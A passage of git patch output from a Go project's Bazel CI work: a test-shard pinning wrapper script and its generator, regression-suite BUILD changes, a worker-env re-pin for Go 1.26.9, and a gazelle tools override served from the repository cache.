w) { + t.Errorf("output lacks %q:\n%s", w, out) + } + } + if len(tc.env) > 0 { + if _, err := os.Stat(status); err != nil { + t.Errorf("TEST_SHARD_STATUS_FILE not touched: %v", err) + } + } + }) + } +} + +func TestPinnedShardWrapperRejectsBadManifests(t *testing.T) { + cases := map[string]string{ + "gap in shard numbers": "1 TestA\n3 TestB\n", + "test pinned twice": "1 TestA\n2 TestA\n", + "not a test name": "1 BenchmarkA\n", + "regex in name": "1 TestA.*\n", + "extra field": "1 TestA TestB\n", + "shard zero": "0 TestA\n", + "no pinned shards": "# empty\n", + "no round-robin shards left": "1 TestA\n2 TestB\n3 TestC\n4 TestD\n5 TestE\n", + "more pinned than Bazel runs": "1 TestA\n2 TestB\n3 TestC\n4 TestD\n5 TestE\n6 TestF\n", + } + for name, manifest := range cases { + t.Run(name, func(t *testing.T) { + dir := t.TempDir() + fakeTestBinary(t, dir) + out, err := runPinnedShard(t, dir, manifest, "TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=0") + if err == nil { + t.Fatalf("wrapper accepted manifest %q:\n%s", manifest, out) + } + if strings.Contains(out, "args=") { + t.Errorf("wrapper ran the binary despite a bad manifest:\n%s", out) + } + }) + } +} + +// The committed manifests are well formed and each target is wired to its +// manifest with round-robin shards left over. (That every pinned name is a +// test of the package: TestPinnedShardManifestNamesAreTests.) +func TestPinnedShardManifests(t *testing.T) { + root := sourceRepoRoot(t) + for _, tgt := range pinnedShardTargets { + t.Run(tgt.rule, func(t *testing.T) { + _, maxShard := readPinnedShardManifest(t, root, tgt.manifest) + rule := bazelRuleBlock(readPolicyFile(t, root, tgt.build), tgt.rule) + if rule == "" { + t.Fatalf("%s has no rule %s", tgt.build, tgt.rule) + } + base := filepath.Base(tgt.manifest) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_pinned_shard.sh"]`, + `"$(rootpath :` + base + `)",`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s lacks %s", tgt.rule, want) + } + } + m := shardCountPattern.FindStringSubmatch(rule) + if m == nil { + t.Fatalf("%s has no shard_count", tgt.rule) + } + if n, _ := strconv.Atoi(m[1]); n <= maxShard { + t.Errorf("%s shard_count = %d, but %s pins %d shards; round-robin shards must remain for the other tests", tgt.rule, n, tgt.manifest, maxShard) + } + }) + } +} + +// pin_shards.py bin-packs every test at or above the threshold longest +// first, keeps the round-robin tests out, and takes the slowest of several +// runs. +func TestPinShardsGenerator(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + logs := t.TempDir() + write := func(run, shard, body string) { + dir := filepath.Join(logs, run, shard) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + xml := `` + body + `` + if err := os.WriteFile(filepath.Join(dir, "test.xml"), []byte(xml), 0o644); err != nil { + t.Fatal(err) + } + } + write("a", "shard_1_of_2", ``) + write("a", "shard_2_of_2", ``) + write("b", "shard_1_of_1", ``) + + out := filepath.Join(t.TempDir(), "pinned.txt") + cmd := exec.Command(python, filepath.Join(root, "tools", "bazel", "pin_shards.py"), + "--shards", "2", "--min-seconds", "5", "--write", out, filepath.Join(logs, "a"), filepath.Join(logs, "b")) + if b, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("pin_shards.py: %v\n%s", err, b) + } + b, err := os.ReadFile(out) + if err != nil { + t.Fatal(err) + } + var got []string + for _, line := range strings.Split(string(b), "\n") { + if line != "" && !strings.HasPrefix(line, "#") { + got = append(got, line) + } + } + // LPT: A(50)->1, B(30)->2, D(28, the slower run)->2, C(25)->1. + want := []string{"1 TestA", "1 TestC", "2 TestB", "2 TestD"} + if strings.Join(got, ";") != strings.Join(want, ";") { + t.Errorf("manifest = %q, want %q", got, want) + } + if !strings.Contains(string(b), "# 75 58\n") { + t.Errorf("manifest header lacks per-shard totals 75 58:\n%s", b) + } + + cmd = exec.Command(python, filepath.Join(root, "tools", "bazel", "pin_shards.py"), + "--shards", "5", "--min-seconds", "5", filepath.Join(logs, "a")) + if b, err := cmd.CombinedOutput(); err == nil { + t.Errorf("pin_shards.py accepted 5 shards for 4 slow tests:\n%s", b) + } +} + +// pinnedShardWrapperUsers returns an error for every BUILD rule that runs +// through go_test_pinned_shard.sh other than pinnedShardTargets, and for any +// of those tagged for another lane than the cmd/bd Dolt-server tier: the +// wrapper selects and skips tests, which the retired tiers' lanes forbid +// (TestBazelRetiredLanesCannotBeNarrowed). +func pinnedShardWrapperUsers(t *testing.T, root string) []string { + t.Helper() + allowed := map[string]bool{} + for _, tgt := range pinnedShardTargets { + allowed[tgt.build+":"+tgt.rule] = true + } + const label = "//tools/bazel:go_test_pinned_shard.sh" + var errs []string + seen := 0 + for _, f := range repoFiles(t, root, 300) { + if filepath.Base(f) != "BUILD.bazel" { + continue + } + build := readPolicyFile(t, root, f) + if !strings.Contains(build, "go_test_pinned_shard.sh") { + continue + } + for _, rule := range bazelTopRules(stripStarlarkComments(build)) { + if !strings.Contains(rule, "go_test_pinned_shard.sh") { + continue + } + name := "" + if m := bazelRuleNameRe.FindStringSubmatch(rule); m != nil { + name = m[1] + } + if !strings.Contains(rule, `srcs = ["`+label+`"]`) { + if f == "tools/bazel/BUILD.bazel" && strings.HasPrefix(rule, "exports_files(") { + continue + } + errs = append(errs, f+": rule "+name+" references go_test_pinned_shard.sh other than as its sh_test src "+label) + continue + } + seen++ + if !allowed[f+":"+name] { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that it is not a retired tier's lane") + } + if !strings.Contains(rule, `tags = ["dolt-server-cmd"]`) { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly dolt-server-cmd") + } + } + } + if seen != len(pinnedShardTargets) { + errs = append(errs, fmt.Sprintf("found %d rules running through %s, want the %d pinnedShardTargets", seen, pinnedShardWrapper, len(pinnedShardTargets))) + } + return errs +} + +func TestPinnedShardWrapperUsers(t *testing.T) { + for _, e := range pinnedShardWrapperUsers(t, sourceRepoRoot(t)) { + t.Error(e) + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index b058e806d..a5853126f 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -759,12 +759,23 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { if err != nil { t.Fatal(err) } + // go_test_pinned_shard.sh selects and skips by design (each test in + // exactly one shard: TestPinnedShardWrapperSplit), and is reviewed + // here for the dolt-server-cmd targets only, which are none of the + // retired tiers' lanes; pinnedShardWrapperUsers fails if anything + // else runs through it. + exempt := filepath.ToSlash(rel) == pinnedShardWrapper + if exempt { + for _, e := range pinnedShardWrapperUsers(t, root) { + t.Error(e) + } + } for i, line := range strings.Split(string(data), "\n") { code := strings.TrimSpace(line) if strings.HasPrefix(code, "#") { continue } - if scriptNarrow.MatchString(code) { + if scriptNarrow.MatchString(code) && !exempt { t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) } for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel index b0c7f12ca..2c1f527f2 100644 --- a/tests/regression/BUILD.bazel +++ b/tests/regression/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") # The differential regression suite (formerly regression.yml, which ran @@ -10,26 +11,50 @@ load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") # `go build -tags gms_pure_go ./cmd/bd`. Both bd's talk to a hermetic dolt # sql-server TestMain starts from the pinned dolt (BEADS_TEST_DOLT_SERVER=local) # where the job pulled the dolt-sql-server image; a server that cannot start -# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). The Go binary shards -# itself over the top-level tests, so each runs in exactly one shard. +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). # +# The go_test is only the binary (manual: never run on its own); +# :regression_test runs it in 14 shards. Shards 1-10 each run the scenarios +# pinned_shards.txt pins to them (duration-balanced by +# tools/bazel/pin_shards.py); shards 11-14 are the Go binary's own round-robin +# shards over every other top-level test, a test added since the manifest was +# written included (tools/bazel/go_test_pinned_shard.sh), so each runs in +# exactly one shard. Round-robin alone over 8 shards left the slowest at twice +# the median (TestListAllOverridesLimitWithLabel, TestDepTypeExportFidelity). +go_test( + name = "regression_suite", + srcs = [ + "regression_test.go", + "scenarios_test.go", + ], + tags = ["manual"], + target_compatible_with = LINUX_AMD64, + deps = [ + "//internal/testutil", + "//internal/testutil/bazeltest", + ], +) + # Tags: # dolt-server-cmd: starts a hermetic dolt sql-server and needs the # integration build tag; selected by --config=doltserver-cmd (bazel.yml's # bazel-cmd-dolt lane) and excluded from every other lane, whose # configurations either drop both test files or set BEADS_TEST_SKIP=dolt. -go_test( +sh_test( name = "regression_test", size = "large", # --config=doltserver-cmd's -test.timeout=19m fires (with a goroutine # dump) before Bazel's 1200s action limit. timeout = "eternal", - srcs = [ - "regression_test.go", - "scenarios_test.go", + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], + args = [ + "$(rootpath :pinned_shards.txt)", + "$(rootpath :regression_suite)", ], data = [ "BASELINE_VERSION", + "pinned_shards.txt", + ":regression_suite", "//cmd/bd:bd_for_tests", "@bd_releases//:v0.49.6", ], @@ -39,13 +64,9 @@ go_test( "BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, - shard_count = 8, + shard_count = 14, tags = ["dolt-server-cmd"], target_compatible_with = LINUX_AMD64, - deps = [ - "//internal/testutil", - "//internal/testutil/bazeltest", - ], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/tests/regression/pinned_shards.txt b/tests/regression/pinned_shards.txt new file mode 100644 index 000000000..0734b701a --- /dev/null +++ b/tests/regression/pinned_shards.txt @@ -0,0 +1,55 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 5s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 50 43 43 42 42 40 40 40 39 44 +# Unpinned tests: 40, 128s in total. +# +# +1 TestListAllOverridesLimitWithLabel +2 TestDepRemovalUnblocks +2 TestDepTypeExportFidelity +2 TestReparenting +3 TestCloseGuardNonBlocksDepTypes +3 TestDiamondDependency +3 TestListResolvedBlockerAnnotation +3 TestListStatusFilterParity +3 TestSpecialCharactersInFields +4 TestCustomTypeRoundTrip +4 TestDeleteWithDependencies +4 TestEpicWithChildrenStatus +4 TestMultipleDepTypesOnSameIssue +4 TestReopenPreservesDeps +5 TestBlocksDepCloseUnblocks +5 TestExportImportEpicTree +5 TestNonBlocksDepCloseSemantics +5 TestRemoveParent +5 TestUpdateDoesNotClobberRelationalData +6 TestMultipleCommentsRoundTrip +6 TestMultipleLabelsStressRoundTrip +6 TestParentChildDepExportBothDirections +6 TestParentChildDependency +6 TestReadySemantics +7 TestBlockedCommandParity +7 TestCountCommandParity +7 TestDeleteCascade +7 TestDepTreeOutput +7 TestTransitiveBlockingChain +8 TestEpicAllChildrenClosedNotBlocked +8 TestLargeExportImportRoundTrip +8 TestListByLabelFilter +8 TestRapidCommentAddStability +8 TestRapidLabelAddRemoveStability +9 TestBlockedEpicChildrenNotReady +9 TestChildrenCommand +9 TestCommentOnClosedIssue +9 TestDependenciesRoundTrip +9 TestQueryDSLParity +10 TestBasicLifecycle +10 TestFilteredExport +10 TestListCountParity +10 TestRapidDepAddRemoveStability +10 TestSearchByTitleSubstring +10 TestShowJSONFieldCompleteness diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 6b17dde5c..fcddec75c 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -38,6 +38,14 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs one Bazel shard of an existing go_test binary with +# its slowest tests pinned to shards of their own by a manifest (see the +# script header and pin_shards.py), e.g. //cmd/bd:bd_dolt_server_test. +exports_files( + ["go_test_pinned_shard.sh"], + visibility = ["//visibility:public"], +) + # sh_test src that runs an existing go_test binary with no network but # loopback (see the script header), e.g. //cmd/bd:bd_managed_local_test. exports_files( diff --git a/tools/bazel/go_test_pinned_shard.sh b/tools/bazel/go_test_pinned_shard.sh new file mode 100755 index 000000000..d1c2b5d7d --- /dev/null +++ b/tools/bazel/go_test_pinned_shard.sh @@ -0,0 +1,90 @@ +#!/usr/bin/env bash +# Runs one Bazel shard of an existing go_test binary with the suite's slowest +# top-level tests pinned to shards of their own, so no shard's wall time is +# set by where the binary's round-robin split happens to drop its long tests. +# Like go_test_variant.sh it reuses the go_test's binary instead of compiling +# the package again. +# +# Usage: go_test_pinned_shard.sh [binary args...] +# , : runfiles paths ($(rootpath ...)), relative to the +# workspace runfiles directory, which is the test's working directory. +# The remaining arguments (and any --test_arg) go to the binary unchanged, +# after this wrapper's own -test.run/-test.skip. +# +# The manifest (tools/bazel/pin_shards.py writes it from measured test.xml +# durations) has one " " line per pinned test, pinned +# shards numbered 1..P with none empty; '#' starts a comment. With Bazel's +# shard_count N > P: +# Bazel shards 0..P-1 run exactly their pinned tests (-test.run), with the +# binary's own sharding switched off; +# Bazel shards P..N-1 are the binary's own round-robin shards 0..N-P-1 over +# every top-level test, minus every pinned one +# (-test.skip). +# So every test runs in exactly one shard: a pinned test only in its pinned +# shard, any other test (one added since the manifest was written included) +# where the binary's round-robin puts it. A manifest name with no test runs +# nothing (scripts/pinned_shards_test.go rejects one). Unsharded (no +# TEST_TOTAL_SHARDS, e.g. --test_sharding_strategy=disabled) the binary runs +# every test. +# +# rules_go sets GO_TEST_RUN_FROM_BAZEL=1 only for the go_test itself; this +# exports it, as go_test_variant.sh does, so the binary still changes into its +# package directory. The go_test's `env` is not inherited; the target repeats +# it. +set -euo pipefail +manifest="$1" +bin="$2" +shift 2 +export GO_TEST_RUN_FROM_BAZEL=1 + +total="${TEST_TOTAL_SHARDS:-1}" +if [[ "$total" -le 1 ]]; then + exec "./$bin" "$@" +fi +index="${TEST_SHARD_INDEX:?TEST_TOTAL_SHARDS is set but TEST_SHARD_INDEX is not}" + +declare -A shard_of=() +declare -a pinned_by_shard=() +pinned_shards=0 +all="" +lineno=0 +while IFS= read -r line || [[ -n "$line" ]]; do + lineno=$((lineno + 1)) + line="${line%%#*}" + read -r shard name extra <<<"$line" || true + [[ -z "${shard:-}" ]] && continue + if ! [[ "$shard" =~ ^[1-9][0-9]*$ && "${name:-}" =~ ^Test[A-Za-z0-9_]*$ && -z "${extra:-}" ]]; then + echo "$manifest:$lineno: want \" \", got: $line" >&2 + exit 1 + fi + if [[ -n "${shard_of[$name]:-}" ]]; then + echo "$manifest:$lineno: $name is pinned twice" >&2 + exit 1 + fi + shard_of[$name]="$shard" + pinned_by_shard[shard]="${pinned_by_shard[shard]:+${pinned_by_shard[shard]}|}$name" + all="${all:+$all|}$name" + ((shard > pinned_shards)) && pinned_shards="$shard" +done <"$manifest" + +for ((s = 1; s <= pinned_shards; s++)); do + if [[ -z "${pinned_by_shard[s]:-}" ]]; then + echo "$manifest: pinned shard $s has no tests (shards must be numbered 1..P with none empty)" >&2 + exit 1 + fi +done +if ((pinned_shards == 0 || total <= pinned_shards)); then + echo "$manifest pins $pinned_shards shards; the target's shard_count ($total) must be larger" >&2 + exit 1 +fi + +if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then + touch "$TEST_SHARD_STATUS_FILE" +fi +if ((index < pinned_shards)); then + unset TEST_TOTAL_SHARDS TEST_SHARD_INDEX TEST_SHARD_STATUS_FILE + exec "./$bin" "-test.run=^(${pinned_by_shard[index + 1]})\$" "$@" +fi +export TEST_TOTAL_SHARDS=$((total - pinned_shards)) +export TEST_SHARD_INDEX=$((index - pinned_shards)) +exec "./$bin" "-test.skip=^(${all})\$" "$@" diff --git a/tools/bazel/pin_shards.py b/tools/bazel/pin_shards.py new file mode 100755 index 000000000..59e58b73d --- /dev/null +++ b/tools/bazel/pin_shards.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +"""Write a pinned-shard manifest for tools/bazel/go_test_pinned_shard.sh. + +Usage: pin_shards.py --shards P --min-seconds S [--write MANIFEST] TESTLOGS... + +TESTLOGS are a sharded test's bazel-testlogs directories (each holding +shard_*_of_*/test.xml, or one test.xml), from one or more runs. Every +top-level (a name without "/") at or above S seconds in any run is +pinned: its duration is the maximum seen, and the tests are bin-packed +longest-processing-time first onto P shards. Every other test stays in the +binary's own round-robin shards. Without --write the manifest is printed. + +The durations come from the test.xml -test.v writes (GO_TEST_WRAP_TESTV=1, as +--config=doltserver-cmd sets), so regenerate from a run of the lane itself: + + bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd + python3 tools/bazel/pin_shards.py --shards 16 --min-seconds 5 \\ + --write cmd/bd/dolt_server_pinned_shards.txt \\ + bazel-testlogs/cmd/bd/bd_dolt_server_test + +Exit status: 0 on success, 1 on bad input (no test.xml, fewer pinned tests +than shards). +""" + +import argparse +import glob +import os +import sys +import xml.etree.ElementTree as ET + + +def durations(testlogs_dirs): + """Return {top-level test name: max seconds} over every test.xml.""" + out = {} + for d in testlogs_dirs: + paths = sorted(glob.glob(os.path.join(d, "shard_*_of_*", "test.xml"))) + if not paths and os.path.exists(os.path.join(d, "test.xml")): + paths = [os.path.join(d, "test.xml")] + if not paths: + raise ValueError(f"{d}: no test.xml") + for p in paths: + for tc in ET.parse(p).getroot().iter("testcase"): + name = tc.get("name") or "" + if not name.startswith("Test") or "/" in name: + continue + secs = float(tc.get("time") or 0) + out[name] = max(out.get(name, 0.0), secs) + return out + + +def pin(durs, shards, min_seconds): + """Bin-pack the tests >= min_seconds onto shards (LPT). Returns a list of + (shard number 1..shards, [(name, secs)...]) and the per-shard totals.""" + heavy = sorted( + ((n, s) for n, s in durs.items() if s >= min_seconds), + key=lambda ns: (-ns[1], ns[0]), + ) + if len(heavy) < shards: + raise ValueError(f"{len(heavy)} tests take >= {min_seconds}s, fewer than {shards} shards") + bins = [[] for _ in range(shards)] + totals = [0.0] * shards + for name, secs in heavy: + k = min(range(shards), key=lambda i: (totals[i], i)) + bins[k].append((name, secs)) + totals[k] += secs + return bins, totals + + +def render(bins, totals, min_seconds, rest): + lines = [ + "# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by", + "# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage).", + "#", + f"# Every top-level test measured at >= {min_seconds:g}s, bin-packed", + "# longest-first onto these shards; every other test runs in the", + "# binary's own round-robin shards. Measured seconds per pinned shard:", + "# " + " ".join(f"{t:.0f}" for t in totals), + f"# Unpinned tests: {rest[0]}, {rest[1]:.0f}s in total.", + "#", + "# ", + ] + for k, tests in enumerate(bins, start=1): + for name, _ in sorted(tests): + lines.append(f"{k} {name}") + return "\n".join(lines) + "\n" + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--shards", type=int, required=True) + ap.add_argument("--min-seconds", type=float, required=True) + ap.add_argument("--write") + ap.add_argument("testlogs", nargs="+") + args = ap.parse_args(argv) + if args.shards < 1: + print("--shards must be at least 1", file=sys.stderr) + return 1 + try: + durs = durations(args.testlogs) + bins, totals = pin(durs, args.shards, args.min_seconds) + except (ValueError, OSError, ET.ParseError) as e: + print(f"pin_shards.py: {e}", file=sys.stderr) + return 1 + rest = [s for s in durs.values() if s < args.min_seconds] + text = render(bins, totals, args.min_seconds, (len(rest), sum(rest))) + if args.write: + tmp = args.write + ".tmp" + with open(tmp, "w", encoding="utf-8") as f: + f.write(text) + os.replace(tmp, args.write) + else: + sys.stdout.write(text) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From ce582394fe33addf60c02ccd908699413ec3ca13 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:38:56 +0000 Subject: [PATCH 071/213] build(rbe): re-pin worker-env to gascity's go1.26.9 worker host (#7411) gastownhall/gascity bumps Go to 1.26.9 for the 2026-10-08 stdlib advisories (GO-2026-6599..6617). The shared rbe-west pool workers install the Go named in gascity main's go.mod, so once that merges they advertise a new worker-env. This is the byte-for-byte copy of gascity's tools/rbe/worker-env.txt and its pin (tools/rbe/worker-env-sync); merge it together with the gascity change or beads' remote actions stop scheduling. Co-authored-by: Claude Opus 5.5 (1M context) --- platforms/BUILD.bazel | 2 +- tools/rbe/worker-env.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index 2707bcd42..66e541ea9 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -23,7 +23,7 @@ platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7", + "worker-env": "sha256:0c6c05c2196c246dba37e106a3d028e2f47f2e3d7eae0e41c2fe2bd9b2e4f6f0", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index 17ef8ffc9..e36eb24d5 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -1,6 +1,6 @@ arch x86_64 dolt dolt version 2.1.8 -go go version go1.26.6 linux/amd64 +go go version go1.26.9 linux/amd64 os ubuntu 24.04 pkg bash 5.2 pkg coreutils 9.4 From 64e585e62a0fe068ba87d996e2f346a619aa242b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:39:01 +0000 Subject: [PATCH 072/213] build(rbe): sync worker-env pin with gascity main (Go 1.26.9 re-pin, gastownhall/gascity#7387) (#7419) gascity #7387 (Go 1.26.9 / x/net v0.60.0 advisories) re-pinned worker-env to sha256:0c6c05c2...; rbe-west's pool workers advertise that, so every beads remote-execution run since ~06:00Z stopped in the worker-env preflight. Copied tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin from gascity main; tools/rbe/worker-env-sync main now reports in step. Co-authored-by: Claude Opus 5.5 (1M context) From a13272b024a358a51fcd70c62de9e9a84cdb1f25 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:57:01 +0000 Subject: [PATCH 073/213] ci(bazel): serve gazelle's go_repository tools from the repository cache (#7417) * ci(bazel): serve gazelle's go_repository tools from the repository cache Every bazel.yml lane starts from a fresh output base, and before any go_deps repository can be fetched gazelle compiles fetch_repo and gazelle with `go build` in @bazel_gazelle_go_repository_tools: 18-24 s of every 2 vCPU lane's loading phase (the top ci-analytics repo_fetch entry in the embedded, proxied, cmd-dolt and test lanes). tools/bazel/go_repository_tools.bzl replaces that repository (override_repo on gazelle's non_module_deps extension). The build is reproducible, so the three binaries are pinned by sha256 per gazelle release, Go SDK and host. The rule asks the repository cache for the pinned digests first (Bazel re-hashes every hit, so a restored runner cache can only yield the pinned bytes); on a miss it builds exactly as gazelle does, inside env -i, and stores a matching build in the repository cache. An unpinned or stale combination still builds from source and prints the digests to pin. scripts/bazel_go_repository_tools_test.go keeps the pins in step with MODULE.bazel's gazelle and go_sdk versions. The runner cache key already includes MODULE.bazel, so the first push to main after this saves them. Analysis-only (--nobuild) per lane on Blacksmith 2 vCPU, main vs this change with a seeded runner cache (ga-vnycm2.8): test 54.0 -> 38.3 s, embedded 53.6 -> 31.1 s, integration 49.6 -> 35.2 s, doltserver 48.5 -> 33.0 s, proxied 46.6 -> 31.6 s, server-storage 33.5 -> 17.3 s, cmd-dolt 50.3 -> 33.0 s. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): pin gazelle's go_repository tools for Go 1.26.9 too Ready for the next go_sdk bump (gascity#7387 moves to 1.26.9 for the 2026-10-08 advisories): the same binaries keep coming from the repository cache instead of failing the pin test. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- MODULE.bazel | 16 ++ scripts/BUILD.bazel | 1 + scripts/bazel_go_repository_tools_test.go | 73 ++++++++ tools/bazel/go_repository_tools.bzl | 210 ++++++++++++++++++++++ 4 files changed, 300 insertions(+) create mode 100644 scripts/bazel_go_repository_tools_test.go create mode 100644 tools/bazel/go_repository_tools.bzl diff --git a/MODULE.bazel b/MODULE.bazel index 5fb24db7e..68ded81bb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -188,6 +188,22 @@ go_sdk.nogo( nogo = "//tools/nogo", ) +# gazelle compiles fetch_repo and gazelle, which every go_deps repository +# runs, with `go build` in a repository rule before any go_deps fetch can +# start (18-24 s of every CI lane's loading). This substitute serves those +# reproducible binaries from the repository cache by pinned sha256 and builds +# them from source on a miss (tools/bazel/go_repository_tools.bzl). +gazelle_non_module_deps = use_extension("@gazelle//internal/bzlmod:non_module_deps.bzl", "non_module_deps") + +go_repository_tools = use_repo_rule("//tools/bazel:go_repository_tools.bzl", "go_repository_tools") + +go_repository_tools(name = "gazelle_go_repository_tools") + +override_repo( + gazelle_non_module_deps, + bazel_gazelle_go_repository_tools = "gazelle_go_repository_tools", +) + # gazelle.go.work joins the beads module and the nogo analyzers' module # (tools/nogo/go.mod) into one dependency graph for Bazel only; `go build` in # the repository root never reads it (it is not named go.work). diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index ef89f2709..36b26accd 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -37,6 +37,7 @@ go_test( "bazel_cache_mode_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", + "bazel_go_repository_tools_test.go", "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", diff --git a/scripts/bazel_go_repository_tools_test.go b/scripts/bazel_go_repository_tools_test.go new file mode 100644 index 000000000..9e11a2d45 --- /dev/null +++ b/scripts/bazel_go_repository_tools_test.go @@ -0,0 +1,73 @@ +package scripts_test + +import ( + "regexp" + "strings" + "testing" +) + +// MODULE.bazel substitutes tools/bazel/go_repository_tools.bzl for +// gazelle's @bazel_gazelle_go_repository_tools, which serves fetch_repo and +// gazelle from the repository cache by pinned sha256 instead of compiling +// them in every fresh output base. A gazelle or Go SDK bump without new pins +// still builds (from source) but silently loses that, so the pins must name +// the versions MODULE.bazel pins. + +const goRepositoryToolsRule = "tools/bazel/go_repository_tools.bzl" + +var goRepositoryToolsNames = []string{"fetch_repo", "gazelle", "generate_repo_config"} + +func TestGoRepositoryToolsOverridesGazelle(t *testing.T) { + module := readPolicyFile(t, bazelPolicyRoot(t), hermeticCCModuleFile) + for _, want := range []string{ + `gazelle_non_module_deps = use_extension("@gazelle//internal/bzlmod:non_module_deps.bzl", "non_module_deps")`, + `go_repository_tools = use_repo_rule("//tools/bazel:go_repository_tools.bzl", "go_repository_tools")`, + `go_repository_tools(name = "gazelle_go_repository_tools")`, + } { + if !strings.Contains(module, want) { + t.Errorf("%s must contain %s", hermeticCCModuleFile, want) + } + } + override, err := moduleCall(module, "override_repo", "gazelle_non_module_deps") + if err != nil { + t.Fatal(err) + } + if !strings.Contains(override, `bazel_gazelle_go_repository_tools = "gazelle_go_repository_tools"`) { + t.Errorf("override_repo(gazelle_non_module_deps, ...) must map bazel_gazelle_go_repository_tools to gazelle_go_repository_tools, got:\n%s", override) + } +} + +func TestGoRepositoryToolsPinnedForModuleVersions(t *testing.T) { + root := bazelPolicyRoot(t) + module := readPolicyFile(t, root, hermeticCCModuleFile) + gazelle := regexp.MustCompile(`(?m)^bazel_dep\(name = "gazelle", version = "([^"]+)"\)`).FindStringSubmatch(module) + if gazelle == nil { + t.Fatalf("%s: no bazel_dep(name = \"gazelle\", version = ...)", hermeticCCModuleFile) + } + sdk, err := moduleCall(module, "go_sdk.download", `name = "go_sdk"`) + if err != nil { + t.Fatal(err) + } + goVersion := regexp.MustCompile(`version = "([^"]+)"`).FindStringSubmatch(sdk) + if goVersion == nil { + t.Fatalf("%s: go_sdk.download(name = \"go_sdk\") has no version", hermeticCCModuleFile) + } + + // CI's lanes run on linux/amd64; that host must always be pinned. + key := gazelle[1] + "/go" + goVersion[1] + "/linux_amd64" + rule := readPolicyFile(t, root, goRepositoryToolsRule) + entry := regexp.MustCompile(`(?s)"` + regexp.QuoteMeta(key) + `": \{(.*?)\}`).FindStringSubmatch(rule) + if entry == nil { + t.Fatalf("%s: _PINS has no %q entry (gazelle %s, Go %s from %s); fetch @gazelle_go_repository_tools on linux/amd64 and copy the digests it prints", + goRepositoryToolsRule, key, gazelle[1], goVersion[1], hermeticCCModuleFile) + } + pins := quotedPairs(entry[1]) + if len(pins) != len(goRepositoryToolsNames) { + t.Errorf("_PINS[%q] = %v, want exactly %v", key, pins, goRepositoryToolsNames) + } + for _, tool := range goRepositoryToolsNames { + if !sha256HexRE.MatchString(pins[tool]) { + t.Errorf("_PINS[%q][%q] = %q, want a sha256", key, tool, pins[tool]) + } + } +} diff --git a/tools/bazel/go_repository_tools.bzl b/tools/bazel/go_repository_tools.bzl new file mode 100644 index 000000000..dd81b99b8 --- /dev/null +++ b/tools/bazel/go_repository_tools.bzl @@ -0,0 +1,210 @@ +"""gazelle's go_repository_tools, served from Bazel's repository cache. + +Every go_deps repository (go_repository) runs two host binaries that gazelle +compiles with `go build` in a repository rule of its own, +@bazel_gazelle_go_repository_tools: fetch_repo, which 